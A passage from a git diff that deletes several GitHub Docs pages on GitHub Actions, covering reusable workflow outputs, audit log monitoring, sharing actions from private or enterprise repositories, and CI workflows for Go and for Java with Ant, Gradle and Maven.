${{ jobs.example_job.outputs.output1 }} - secondword: - description: "The second output string" - value: ${{ jobs.example_job.outputs.output2 }} - -jobs: - example_job: - name: Generate output - runs-on: ubuntu-latest - # Map the job outputs to step outputs - outputs: - output1: ${{ steps.step1.outputs.firstword }} - output2: ${{ steps.step2.outputs.secondword }} - steps: - - id: step1 - run: echo "firstword=hello" >> $GITHUB_OUTPUT - - id: step2 - run: echo "secondword=world" >> $GITHUB_OUTPUT -``` - -{% endraw %} - -We can now use the outputs in the caller workflow, in the same way you would use the outputs from a job within the same workflow. We reference the outputs using the names defined at the workflow level in the reusable workflow: `firstword` and `secondword`. In this workflow, `job1` calls the reusable workflow and `job2` prints the outputs from the reusable workflow ("hello world") to standard output in the workflow log. - -{% raw %} - -```yaml copy -name: Call a reusable workflow and use its outputs - -on: - workflow_dispatch: - -jobs: - job1: - uses: octo-org/example-repo/.github/workflows/called-workflow.yml@v1 - - job2: - runs-on: ubuntu-latest - needs: job1 - steps: - - run: echo ${{ needs.job1.outputs.firstword }} ${{ needs.job1.outputs.secondword }} -``` - -{% endraw %} - -For more information on using job outputs, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idoutputs). If you want to share something other than a variable (e.g. a build artifact) between workflows, see [AUTOTITLE](/actions/using-workflows/storing-workflow-data-as-artifacts). - -## Monitoring which workflows are being used - -{% ifversion fpt or ghes %} - -Organizations that use {% data variables.product.prodname_ghe_cloud %} can interact with the audit log via the {% data variables.product.github %} REST API to monitor which workflows are being used. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#using-the-audit-log-api). - -{% else %} - -You can use the {% data variables.product.prodname_dotcom %} REST API to monitor how reusable workflows are being used. The `prepared_workflow_job` audit log action is triggered when a workflow job is started. Included in the data recorded are: -* `repo` - the organization/repository where the workflow job is located. For a job that calls another workflow, this is the organization/repository of the caller workflow. -* `@timestamp` - the date and time that the job was started, in Unix epoch format. -* `job_name` - the name of the job that was run. -* `calling_workflow_refs` - an array of file paths for all the caller workflows involved in this workflow job. The items in the array are in the reverse order that they were called in. For example, in a chain of workflows A > B > C, when viewing the logs for a job in workflow C, the array would be `["octo-org/octo-repo/.github/workflows/B.yml", "octo-org/octo-repo/.github/workflows/A.yml"]`. -* `calling_workflow_shas` - an array of SHAs for all the caller workflows involved in this workflow job. The array contains the same number of items, in the same order, as the `calling_workflow_refs` array. -* `job_workflow_ref` - the workflow file that was used, in the form `{owner}/{repo}/{path}/{filename}@{ref}`. For a job that calls another workflow, this identifies the called workflow. - -For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#using-the-audit-log-api). - -> [!NOTE] -> Audit data for `prepared_workflow_job` can only be viewed using the REST API. It is not visible in the {% data variables.product.prodname_dotcom %} web interface, or included in JSON/CSV exported audit data. - -{% endif %} - -## Re-running workflows and jobs with reusable workflows - -{% data reusables.actions.partial-reruns-with-reusable %} - -## Next steps - -To continue learning about {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows). - -{% ifversion ghec or ghes %}You can standardize deployments by creating a self-hosted runner group that can only execute a specific reusable workflow. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups).{% endif %} diff --git a/content/actions/sharing-automations/sharing-actions-and-workflows-from-your-private-repository.md b/content/actions/sharing-automations/sharing-actions-and-workflows-from-your-private-repository.md deleted file mode 100644 index c99540dc0c4f..000000000000 --- a/content/actions/sharing-automations/sharing-actions-and-workflows-from-your-private-repository.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Sharing actions and workflows from your private repository -intro: You can share an action or reusable workflow without publishing them publicly. -versions: - fpt: '*' -type: tutorial -topics: - - Actions - - Action development -shortTitle: Share from your private repository -redirect_from: - - /actions/creating-actions/sharing-actions-and-workflows-from-your-private-repository ---- - -## About {% data variables.product.prodname_actions %} access to private repositories - -You can share actions and reusable workflows from your private repository, without making them public, by allowing {% data variables.product.prodname_actions %} workflows to access a private repository that contains the action or reusable workflow. - -Any actions or reusable workflows stored in the private repository can be used in workflows defined in other private repositories owned by the same organization or user. Actions and reusable workflows stored in private repositories cannot be used in public repositories. - -> [!WARNING] -> * If you make a private repository accessible to {% data variables.product.prodname_actions %} workflows in other repositories, outside collaborators on the other repositories can indirectly access the private repository, even though they do not have direct access to these repositories. The outside collaborators can view logs for workflow runs when actions or workflows from the private repository are used. -> * {% data reusables.actions.scoped-token-note %} - -## Sharing actions and workflows from your private repository - -1. Store the action or reusable workflow in a private repository. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility). -1. Configure the repository to allow access to workflows in other private repositories. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-a-private-repository). - -## Further reading - -* [AUTOTITLE](/actions/using-workflows/reusing-workflows) diff --git a/content/actions/sharing-automations/sharing-actions-and-workflows-with-your-enterprise.md b/content/actions/sharing-automations/sharing-actions-and-workflows-with-your-enterprise.md deleted file mode 100644 index 8e50322ecf49..000000000000 --- a/content/actions/sharing-automations/sharing-actions-and-workflows-with-your-enterprise.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Sharing actions and workflows with your enterprise -intro: You can share an action or reusable workflow with your enterprise without publishing the action or workflow publicly. -versions: - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Actions - - Action development -shortTitle: Share with your enterprise -redirect_from: - - /actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise ---- - -## About {% data variables.product.prodname_actions %} access to internal and private repositories - -If your organization is owned by an enterprise account, you can share actions and reusable workflows within your enterprise, without publishing them publicly, by allowing {% data variables.product.prodname_actions %} workflows to access an internal or private repository that contains the action or reusable workflow. - -Any actions or reusable workflows stored in the internal or private repository can be used in workflows defined in other internal or private repositories owned by the same organization, or by any organization owned by the enterprise. Actions and reusable workflows stored in internal repositories cannot be used in public repositories and actions and reusable workflows stored in private repositories cannot be used in public or internal repositories. - -> [!WARNING] -> * {% data reusables.actions.outside-collaborators-actions %} -> * {% data reusables.actions.scoped-token-note %} - -## Sharing actions and workflows with your enterprise - -1. Store the action or reusable workflow in an internal or private repository. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/about-repositories). -1. Configure the repository to allow access to workflows in other internal or private repositories. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-a-private-repository) and [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-an-internal-repository). - -## Further reading - -* [AUTOTITLE](/admin/overview/about-enterprise-accounts) -* [AUTOTITLE](/actions/using-workflows/reusing-workflows) diff --git a/content/actions/sharing-automations/sharing-actions-and-workflows-with-your-organization.md b/content/actions/sharing-automations/sharing-actions-and-workflows-with-your-organization.md deleted file mode 100644 index 81d79b87be63..000000000000 --- a/content/actions/sharing-automations/sharing-actions-and-workflows-with-your-organization.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Sharing actions and workflows with your organization -intro: You can share an action or reusable workflow with your organization without publishing the action or workflow publicly. -versions: - fpt: '*' -type: tutorial -topics: - - Actions - - Action development -shortTitle: Share with your organization -redirect_from: - - /actions/creating-actions/sharing-actions-and-workflows-with-your-organization ---- - -## About {% data variables.product.prodname_actions %} access to private {% ifversion ghec or ghes %} or internal {% endif %}repositories - -You can share actions and reusable workflows within your organization, without publishing them publicly, by allowing {% data variables.product.prodname_actions %} workflows to access a private repository that contains the action or reusable workflow. - -Any actions or reusable workflows stored in the private repository can be used in workflows defined in other private repositories owned by the same organization. Actions and reusable workflows stored in private repositories cannot be used in public repositories. - -> [!WARNING] -> * {% data reusables.actions.outside-collaborators-actions %} -> * {% data reusables.actions.scoped-token-note %} - -## Sharing actions and workflows with your organization - -1. Store the action or reusable workflow in a private {% ifversion ghec or ghes %} or internal {% endif %}repository. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility). -1. Configure the repository to allow access to workflows in other private repositories. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-a-private-repository). - -## Further reading - -* [AUTOTITLE](/actions/using-workflows/reusing-workflows) diff --git a/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-go.md b/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-go.md deleted file mode 100644 index 031d0655569c..000000000000 --- a/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-go.md +++ /dev/null @@ -1,227 +0,0 @@ ---- -title: Building and testing Go -intro: You can create a continuous integration (CI) workflow to build and test your Go project. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - CI -shortTitle: Build & test Go -redirect_from: - - /actions/automating-builds-and-tests/building-and-testing-go ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide shows you how to build, test, and publish a Go package. - -{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with preinstalled software, which includes the dependencies for Go. For a full list of up-to-date software and the preinstalled versions of Go, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners#preinstalled-software). - -## Prerequisites - -You should already be familiar with YAML syntax and how it's used with {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions). - -We recommend that you have a basic understanding of the Go language. For more information, see [Getting started with Go](https://golang.org/doc/tutorial/getting-started). - -## Using a Go workflow template - -{% data reusables.actions.workflow-templates-get-started %} - -{% data variables.product.prodname_dotcom %} provides a Go workflow template that should work for most Go projects. The subsequent sections of this guide give examples of how you can customize this workflow template. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.actions.new-starter-workflow %} -1. The "Choose a workflow" page shows a selection of recommended workflow templates. Search for "go". -1. Filter the selection of workflows by clicking **Continuous integration**. -1. On the "Go - by {% data variables.product.prodname_actions %}" workflow, click **Configure**. - - ![Screenshot of the "Choose a workflow" page. The "Configure" button on the "Go" workflow is highlighted with an orange outline.](/assets/images/help/actions/starter-workflow-go.png) - -{%- ifversion ghes %} - If you don't find the "Go - by {% data variables.product.prodname_actions %}" workflow template, copy the following workflow code to a new file called `go.yml` in the `.github/workflows` directory of your repository. - - ```yaml copy - name: Go - - on: - push: - branches: [ "main" ] - pull_request: - branches: [ "main" ] - - jobs: - build: - - runs-on: self-hosted - steps: - - uses: {% data reusables.actions.action-checkout %} - - - name: Set up Go - uses: {% data reusables.actions.action-setup-go %} - with: - go-version: '1.20' - - - name: Build - run: go build -v ./... - - - name: Test - run: go test -v ./... - ``` - -{%- endif %} - -1. Edit the workflow as required. For example, change the version of Go. -1. Click **Commit changes**. - -{% ifversion fpt or ghec %} - The `go.yml` workflow file is added to the `.github/workflows` directory of your repository. -{% endif %} - -## Specifying a Go version - -The easiest way to specify a Go version is by using the `setup-go` action provided by {% data variables.product.prodname_dotcom %}. For more information see, the [`setup-go` action](https://github.com/actions/setup-go/). - -To use a preinstalled version of Go on a {% data variables.product.prodname_dotcom %}-hosted runner, pass the relevant version to the `go-version` property of the `setup-go` action. This action finds a specific version of Go from the tools cache on each runner, and adds the necessary binaries to `PATH`. These changes will persist for the remainder of the job. - -The `setup-go` action is the recommended way of using Go with {% data variables.product.prodname_actions %}, because it helps ensure consistent behavior across different runners and different versions of Go. If you are using a self-hosted runner, you must install Go and add it to `PATH`. - -### Using multiple versions of Go - -```yaml copy -name: Go - -on: [push] - -jobs: - build: - - runs-on: ubuntu-latest - strategy: - matrix: - go-version: [ '1.19', '1.20', '1.21.x' ] - - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Setup Go {% raw %}${{ matrix.go-version }}{% endraw %} - uses: {% data reusables.actions.action-setup-go %} - with: - go-version: {% raw %}${{ matrix.go-version }}{% endraw %} - # You can test your matrix by printing the current Go version - - name: Display Go version - run: go version -``` - -### Using a specific Go version - -You can configure your job to use a specific version of Go, such as `1.20.8`. Alternatively, you can use semantic version syntax to get the latest minor release. This example uses the latest patch release of Go 1.21: - -```yaml copy - - name: Setup Go 1.21.x - uses: {% data reusables.actions.action-setup-go %} - with: - # Semantic version range syntax or exact version of Go - go-version: '1.21.x' -``` - -## Installing dependencies - -You can use `go get` to install dependencies: - -```yaml copy - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Setup Go - uses: {% data reusables.actions.action-setup-go %} - with: - go-version: '1.21.x' - - name: Install dependencies - run: | - go get . - go get example.com/octo-examplemodule - go get example.com/octo-examplemodule@v1.3.4 -``` - -### Caching dependencies - -You can cache and restore dependencies using the [`setup-go` action](https://github.com/actions/setup-go). By default, caching is enabled when using the `setup-go` action. - -The `setup-go` action searches for the dependency file, `go.sum`, in the repository root and uses the hash of the dependency file as a part of the cache key. - -You can use the `cache-dependency-path` parameter for cases when multiple dependency files are used, or when they are located in different subdirectories. - -```yaml copy - - name: Setup Go - uses: {% data reusables.actions.action-setup-go %} - with: - go-version: '1.17' - cache-dependency-path: subdir/go.sum -``` - -If you have a custom requirement or need finer controls for caching, you can use the [`cache` action](https://github.com/marketplace/actions/cache). For more information, see [AUTOTITLE](/actions/using-workflows/caching-dependencies-to-speed-up-workflows). - -## Building and testing your code - -You can use the same commands that you use locally to build and test your code. This example workflow demonstrates how to use `go build` and `go test` in a job: - -```yaml copy -name: Go -on: [push] - -jobs: - build: - runs-on: ubuntu-latest - - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Setup Go - uses: {% data reusables.actions.action-setup-go %} - with: - go-version: '1.21.x' - - name: Install dependencies - run: go get . - - name: Build - run: go build -v ./... - - name: Test with the Go CLI - run: go test -``` - -## Packaging workflow data as artifacts - -After a workflow completes, you can upload the resulting artifacts for analysis. For example, you may need to save log files, core dumps, test results, or screenshots. The following example demonstrates how you can use the `upload-artifact` action to upload test results. - -For more information, see [AUTOTITLE](/actions/using-workflows/storing-workflow-data-as-artifacts). - -```yaml copy -name: Upload Go test results - -on: [push] - -jobs: - build: - - runs-on: ubuntu-latest - strategy: - matrix: - go-version: [ '1.19', '1.20', '1.21.x' ] - - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Setup Go - uses: {% data reusables.actions.action-setup-go %} - with: - go-version: {% raw %}${{ matrix.go-version }}{% endraw %} - - name: Install dependencies - run: go get . - - name: Test with Go - run: go test -json > TestResults-{% raw %}${{ matrix.go-version }}{% endraw %}.json - - name: Upload Go test results - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: Go-results-{% raw %}${{ matrix.go-version }}{% endraw %} - path: TestResults-{% raw %}${{ matrix.go-version }}{% endraw %}.json -``` diff --git a/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-java-with-ant.md b/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-java-with-ant.md deleted file mode 100644 index 84d862c1cc65..000000000000 --- a/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-java-with-ant.md +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: Building and testing Java with Ant -intro: You can create a continuous integration (CI) workflow in GitHub Actions to build and test your Java project with Ant. -redirect_from: - - /actions/language-and-framework-guides/building-and-testing-java-with-ant - - /actions/guides/building-and-testing-java-with-ant - - /actions/automating-builds-and-tests/building-and-testing-java-with-ant -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - CI - - Java - - Ant -shortTitle: Build & test Java & Ant ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide shows you how to create a workflow that performs continuous integration (CI) for your Java project using the Ant build system. The workflow you create will allow you to see when commits to a pull request cause build or test failures against your default branch; this approach can help ensure that your code is always healthy. You can extend your CI workflow to upload artifacts from a workflow run. - -{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes Java Development Kits (JDKs) and Ant. For a list of software and the pre-installed versions for JDK and Ant, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-software). - -## Prerequisites - -You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see: -* [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions) -* [AUTOTITLE](/actions/learn-github-actions) - -We recommend that you have a basic understanding of Java and the Ant framework. For more information, see the [Apache Ant Manual](https://ant.apache.org/manual/). - -{% data reusables.actions.enterprise-setup-prereq %} - -## Using an Ant workflow template - -{% data reusables.actions.workflow-templates-get-started %} - -{% data variables.product.prodname_dotcom %} provides a workflow template for Ant that should work for most Java with Ant projects. The subsequent sections of this guide give examples of how you can customize this workflow template. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.actions.new-starter-workflow %} -1. The "Choose a workflow" page shows a selection of recommended workflow templates. Search for "Java with Ant". -1. On the "Java with Ant" workflow, click **Configure**. - -{%- ifversion ghes %} - - If you don't find the "Java with Ant" workflow template, copy the following workflow code to a new file called `ant.yml` in the `.github/workflows` directory of your repository. - - ```yaml copy - name: Java CI - - on: - push: - branches: [ $default-branch ] - pull_request: - branches: [ $default-branch ] - - jobs: - build: - runs-on: ubuntu-latest - - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Set up JDK 11 - uses: {% data reusables.actions.action-setup-java %} - with: - java-version: '11' - distribution: 'temurin' - - name: Build with Ant - run: ant -noinput -buildfile build.xml - ``` - -{%- endif %} - -1. Edit the workflow as required. For example, change the Java version. -1. Click **Commit changes**. - -{% ifversion fpt or ghec %} - The `ant.yml` workflow file is added to the `.github/workflows` directory of your repository. -{% endif %} - -{% data reusables.actions.java-jvm-architecture %} - -## Building and testing your code - -You can use the same commands that you use locally to build and test your code. - -The workflow template will run the default target specified in your `build.xml` file. Your default target will commonly be set to build classes, run tests and package classes into their distributable format, for example, a JAR file. - -If you use different commands to build your project, or you want to run a different target, you can specify those. For example, you may want to run the `jar` target that's configured in your `build-ci.xml` file. - -```yaml copy -steps: - - uses: {% data reusables.actions.action-checkout %} - - uses: {% data reusables.actions.action-setup-java %} - with: - java-version: '17' - distribution: 'temurin' - - name: Run the Ant jar target - run: ant -noinput -buildfile build-ci.xml jar -``` - -## Packaging workflow data as artifacts - -After your build has succeeded and your tests have passed, you may want to upload the resulting Java packages as a build artifact. This will store the built packages as part of the workflow run, and allow you to download them. Artifacts can help you test and debug pull requests in your local environment before they're merged. For more information, see [AUTOTITLE](/actions/using-workflows/storing-workflow-data-as-artifacts). - -Ant will usually create output files like JARs, EARs, or WARs in the `build/jar` directory. You can upload the contents of that directory using the `upload-artifact` action. - -```yaml copy -steps: - - uses: {% data reusables.actions.action-checkout %} - - uses: {% data reusables.actions.action-setup-java %} - with: - java-version: '17' - distribution: 'temurin' - - - run: ant -noinput -buildfile build.xml - - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: Package - path: build/jar -``` diff --git a/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-java-with-gradle.md b/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-java-with-gradle.md deleted file mode 100644 index cdc5bb2df62d..000000000000 --- a/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-java-with-gradle.md +++ /dev/null @@ -1,154 +0,0 @@ ---- -title: Building and testing Java with Gradle -intro: You can create a continuous integration (CI) workflow in GitHub Actions to build and test your Java project with Gradle. -redirect_from: - - /actions/language-and-framework-guides/building-and-testing-java-with-gradle - - /actions/guides/building-and-testing-java-with-gradle - - /actions/automating-builds-and-tests/building-and-testing-java-with-gradle -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - CI - - Java - - Gradle -shortTitle: Build & test Java & Gradle ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide shows you how to create a workflow that performs continuous integration (CI) for your Java project using the Gradle build system. The workflow you create will allow you to see when commits to a pull request cause build or test failures against your default branch; this approach can help ensure that your code is always healthy. You can extend your CI workflow to cache files and upload artifacts from a workflow run. - -{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes Java Development Kits (JDKs) and Gradle. For a list of software and the pre-installed versions for JDK and Gradle, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-software). - -## Prerequisites - -You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see: -* [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions) -* [AUTOTITLE](/actions/learn-github-actions) - -We recommend that you have a basic understanding of Java and the Gradle framework. For more information, see the [Gradle User Manual](https://docs.gradle.org/current/userguide/userguide.html). - -{% data reusables.actions.enterprise-setup-prereq %} - -## Using a Gradle workflow template - -{% data reusables.actions.workflow-templates-get-started %} - -{% data variables.product.prodname_dotcom %} provides a workflow template for Gradle that should work for most Java with Gradle projects. The subsequent sections of this guide give examples of how you can customize this workflow template. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.actions.new-starter-workflow %} -1. The "Choose a workflow" page shows a selection of recommended workflow templates. Search for "Java with Gradle". -1. On the "Java with Gradle" workflow, click **Configure**. - -{%- ifversion ghes %} - - If you don't find the "Java with Gradle" workflow template, copy the following workflow code to a new file called `gradle.yml` in the `.github/workflows` directory of your repository. - - ```yaml copy - name: Java CI with Gradle - - on: - push: - branches: [ "main" ] - pull_request: - branches: [ "main" ] - - permissions: - contents: read - - jobs: - build: - runs-on: ubuntu-latest - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Set up JDK 17 - uses: {% data reusables.actions.action-setup-java %} - with: - java-version: '17' - distribution: 'temurin' - - - name: Setup Gradle - uses: gradle/actions/setup-gradle@af1da67850ed9a4cedd57bfd976089dd991e2582 # v4.0.0 - - - name: Build with Gradle - run: ./gradlew build - ``` - -{%- endif %} -{% data reusables.actions.gradle-workflow-steps %} -1. The "Build with Gradle" step executes the `build` task using the [Gradle Wrapper](https://docs.gradle.org/current/userguide/gradle_wrapper.html). - -1. Edit the workflow as required. For example, change the Java version. - - {% indented_data_reference reusables.actions.third-party-actions spaces=3 %} - -1. Click **Commit changes**. - -{% ifversion fpt or ghec %} - The `gradle.yml` workflow file is added to the `.github/workflows` directory of your repository. -{% endif %} - -{% data reusables.actions.java-jvm-architecture %} - -## Building and testing your code - -You can use the same commands that you use locally to build and test your code. - -The workflow template will run the `build` task by default. In the default Gradle configuration, this command will download dependencies, build classes, run tests, and package classes into their distributable format, for example, a JAR file. - -If you use different commands to build your project, or you want to use a different task, you can specify those. For example, you may want to run the `package` task that's configured in your `ci.gradle` file. - -```yaml copy -steps: - - uses: {% data reusables.actions.action-checkout %} - - uses: {% data reusables.actions.action-setup-java %} - with: - java-version: '17' - distribution: 'temurin' - - - name: Setup Gradle - uses: gradle/actions/setup-gradle@af1da67850ed9a4cedd57bfd976089dd991e2582 # v4.0.0 - - - name: Build with Gradle - run: ./gradlew -b ci.gradle package -``` - -## Caching dependencies - -Your build dependencies can be cached to speed up your workflow runs. After a successful run, `gradle/actions/setup-gradle` caches important parts of the Gradle user home directory. In future jobs, the cache will be restored so that build scripts won't need to be recompiled and dependencies won't need to be downloaded from remote package repositories. - -Caching is enabled by default when using the `gradle/actions/setup-gradle` action. For more information, see [`gradle/actions/setup-gradle`](https://github.com/gradle/actions/blob/main/setup-gradle/README.md#caching-build-state-between-jobs). - -## Packaging workflow data as artifacts - -After your build has succeeded and your tests have passed, you may want to upload the resulting Java packages as a build artifact. This will store the built packages as part of the workflow run, and allow you to download them. Artifacts can help you test and debug pull requests in your local environment before they're merged. For more information, see [AUTOTITLE](/actions/using-workflows/storing-workflow-data-as-artifacts). - -Gradle will usually create output files like JARs, EARs, or WARs in the `build/libs` directory. You can upload the contents of that directory using the `upload-artifact` action. - -```yaml copy -steps: - - uses: {% data reusables.actions.action-checkout %} - - uses: {% data reusables.actions.action-setup-java %} - with: - java-version: '17' - distribution: 'temurin' - - - name: Setup Gradle - uses: gradle/actions/setup-gradle@af1da67850ed9a4cedd57bfd976089dd991e2582 # v4.0.0 - - - name: Build with Gradle - run: ./gradlew build - - - name: Upload build artifacts - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: Package - path: build/libs -``` diff --git a/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-java-with-maven.md b/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-java-with-maven.md deleted file mode 100644 index 06bfa290bf33..000000000000 --- a/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-java-with-maven.md +++ /dev/null @@ -1,151 +0,0 @@ ---- -title: Building and testing Java with Maven -intro: You can create a continuous integration (CI) workflow in GitHub Actions to build and test your Java project with Maven. -redirect_from: - - /actions/language-and-framework-guides/building-and-testing-java-with-maven - - /actions/guides/building-and-testing-java-with-maven - - /actions/automating-builds-and-tests/building-and-testing-java-with-maven -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - CI - - Java - - Maven -shortTitle: Build & test Java with Maven ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide shows you how to create a workflow that performs continuous integration (CI) for your Java project using the Maven software project management tool. The workflow you create will allow you to see when commits to a pull request cause build or test failures against your default branch; this approach can help ensure that your code is always healthy. You can extend your CI workflow to cache files and upload artifacts from a workflow run. - -{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes Java Development Kits (JDKs) and Maven. For a list of software and the pre-installed versions for JDK and Maven, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-software). - -## Prerequisites - -You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see: -* [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions) -* [AUTOTITLE](/actions/learn-github-actions) - -We recommend that you have a basic understanding of Java and the Maven framework. For more information, see the [Maven Getting Started Guide](https://maven.apache.org/guides/getting-started/index.html) in the Maven documentation. - -{% data reusables.actions.enterprise-setup-prereq %} - -## Using a Maven workflow template - -{% data reusables.actions.workflow-templates-get-started %} - -{% data variables.product.prodname_dotcom %} provides a workflow template for Maven that should work for most Java with Maven projects. The subsequent sections of this guide give examples of how you can customize this workflow template. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.actions.new-starter-workflow %} -1. The "Choose a workflow" page shows a selection of recommended workflow templates. Search for "Java with Maven". -1. On the "Java with Maven" workflow, click **Configure**. - -{%- ifversion ghes %} - - If you don't find the "Java with Maven" workflow template, copy the following workflow code to a new file called `maven.yml` in the `.github/workflows` directory of your repository. - - ```yaml copy - name: Java CI with Maven - - on: - push: - branches: [ "main" ] - pull_request: - branches: [ "main" ] - - jobs: - build: - runs-on: ubuntu-latest - - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Set up JDK 17 - uses: {% data reusables.actions.action-setup-java %} - with: - java-version: '17' - distribution: 'temurin' - cache: maven - - name: Build with Maven - run: mvn -B package --file pom.xml - - # Optional: Uploads the full dependency graph to GitHub to improve the quality of Dependabot alerts this repository can receive - - name: Update dependency graph - uses: advanced-security/maven-dependency-submission-action@571e99aab1055c2e71a1e2309b9691de18d6b7d6 - ``` - -{%- endif %} - -1. Edit the workflow as required. For example, change the Java version. -1. Click **Commit changes**. - -{% ifversion fpt or ghec %} - The `maven.yml` workflow file is added to the `.github/workflows` directory of your repository. -{% endif %} - -{% data reusables.actions.java-jvm-architecture %} - -## Building and testing your code - -You can use the same commands that you use locally to build and test your code. - -The workflow template will run the `package` target by default. In the default Maven configuration, this command will download dependencies, build classes, run tests, and package classes into their distributable format, for example, a JAR file. - -If you use different commands to build your project, or you want to use a different target, you can specify those. For example, you may want to run the `verify` target that's configured in a `pom-ci.xml` file. - -```yaml copy -steps: - - uses: {% data reusables.actions.action-checkout %} - - uses: {% data reusables.actions.action-setup-java %} - with: - java-version: '17' - distribution: 'temurin' - - name: Run the Maven verify phase - run: mvn --batch-mode --update-snapshots verify -``` - -## Caching dependencies - -You can cache your dependencies to speed up your workflow runs. After a successful run, your local Maven repository will be stored in a cache. In future workflow runs, the cache will be restored so that dependencies don't need to be downloaded from remote Maven repositories. You can cache dependencies simply using the [`setup-java` action](https://github.com/marketplace/actions/setup-java-jdk) or can use [`cache` action](https://github.com/actions/cache) for custom and more advanced configuration. - -```yaml copy -steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Set up JDK 17 - uses: {% data reusables.actions.action-setup-java %} - with: - java-version: '17' - distribution: 'temurin' - cache: maven - - name: Build with Maven - run: mvn --batch-mode --update-snapshots verify -``` - -This workflow will save the contents of your local Maven repository, located in the `.m2` directory of the runner's home directory. The cache key will be the hashed contents of `pom.xml`, so changes to `pom.xml` will invalidate the cache. - -## Packaging workflow data as artifacts - -After your build has succeeded and your tests have passed, you may want to upload the resulting Java packages as a build artifact. This will store the built packages as part of the workflow run, and allow you to download them. Artifacts can help you test and debug pull requests in your local environment before they're merged. For more information, see [AUTOTITLE](/actions/using-workflows/storing-workflow-data-as-artifacts). - -Maven will usually create output files like JARs, EARs, or WARs in the `target` directory. To upload those as artifacts, you can copy them into a new directory that contains artifacts to upload. For example, you can create a directory called `staging`. Then you can upload the contents of that directory using the `upload-artifact` action. - -```yaml copy -steps: - - uses: {% data reusables.actions.action-checkout %} - - uses: {% data reusables.actions.action-setup-java %} - with: - java-version: '17' - distribution: 'temurin' - - run: mvn --batch-mode --update-snapshots verify - - run: 